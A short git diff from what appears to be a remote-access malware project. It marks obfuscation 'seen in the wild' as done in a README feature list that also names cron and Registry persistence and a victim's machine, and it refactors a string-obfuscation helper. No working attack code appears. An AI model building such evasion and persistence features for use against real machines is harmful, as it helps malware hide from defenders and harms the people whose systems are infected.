diff --git a/README.md b/README.md index 99a5749..11c0d43 100644 --- a/README.md +++ b/README.md @@ -18,7 +18,7 @@ Some notable features thus far: - [X] Persistence via Cron on Linux-based systems. - [X] Persistence via Windows Registry. - [ ] Ability to relay socket connections to/from the victim's machine. -- [ ] Uses obfuscation techniques also seen in the wild (string obfuscation, tiny VMs executing sensitive operations, etc.) +- [X] Uses obfuscation techniques also seen in the wild (string obfuscation, tiny VMs executing sensitive operations, etc.) - [ ] Simple configuration using CMake: - [X] Setting keypairs (`-DLAIKA_PUBKEY=? -DLAIKA_PRIVKEY=?`, etc.) - [ ] Obfuscation modes diff --git a/tools/vmboxgen/src/main.c b/tools/vmboxgen/src/main.c index 827b674..74c6f55 100644 --- a/tools/vmboxgen/src/main.c +++ b/tools/vmboxgen/src/main.c @@ -45,7 +45,7 @@ void addPadding(uint8_t *data, int start) { } } -uint8_t *makeSKIDdata(char *data, int sz, uint8_t *buff, int key) { +void makeSKIDdata(char *data, int sz, uint8_t *buff, int key) { int i; for (i = 0; i < sz; i++) @@ -53,7 +53,6 @@ uint8_t *makeSKIDdata(char *data, int sz, uint8_t *buff, int key) { buff[i++] = key; /* add the null terminator */ addPadding(buff, i); - return buff; } #define MAKESKIDDATA(macro) \